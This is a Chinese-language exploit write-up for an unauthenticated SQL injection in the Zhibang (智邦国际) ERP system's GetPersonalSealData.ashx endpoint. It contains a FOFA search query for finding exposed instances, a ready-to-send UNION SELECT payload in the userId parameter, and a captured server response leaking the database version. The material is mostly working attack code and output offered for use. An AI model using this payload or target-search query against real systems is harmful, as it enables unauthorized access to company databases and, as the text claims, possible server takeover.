

Z8-1智邦国际-ERP系统-SQL

漏洞描述:

智邦国际ERP系统 GetPersonalSealData.ashx接口处存在SQL注入漏洞，未经身份认证的攻击者可利用此漏洞获取数据库敏感信息，深入利用可获取服务器权限。

网站图片:



网络测绘:

fofa语法:

FOFA: icon_hash="-682445886"

漏洞复现:

payload:

```
GET /SYSN/json/pcclient/GetPersonalSealData.ashx?imageDate=1&userId=-1%20union%20select%20@@version-- HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
```

效果图:

查询数据库版本

Request	Responses
<pre>1 GET /SYSN/json/pcclient/GetPersonalSealData.ashx?imageDate=1& 2 userId=-1%20union%20select%20@@version-- HTTP/1.1 3 Host: 4 Accept-Encoding: gzip, deflate 5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 8 Upgrade-Insecure-Requests: 1</pre>	<pre>1 HTTP/1.1 200 OK 2 Cache-Control: no-cache, no-store, must-revalidate 3 Pragma: no-cache 4 Content-Type: application/json; charset=utf-8 5 Expires: -1 6 Server: Microsoft-IIS/10.0 7 Set-Cookie: ASP.NET_SessionId=wa5413riae... 8 X-AspNet-Version: 4.0.30319 9 X-Powered-By: ASP.NET 10 Date: Thu, 04 Jan 2024 14:37:43 GMT 11 Content-Length: 221 12 13 {"Image":null,"SealData":"Microsoft SQL Server 14.0.3031.1 \n\tApr 2 2010 15:48:46 \n\tCopyright (c) (64-bit) on Windows NT 6.2<X64> (Build 9200) Copyright (c) 2010 Microsoft Corporation. All rights reserved. Microsoft SQL Server 14.0.3031.1 \n\tApr 2 2010 15:48:46 \n\tCopyright (c) (64-bit) on Windows NT 6.2<X64> (Build 9200) Copyright (c) 2010 Microsoft Corporation. All rights reserved."}</pre>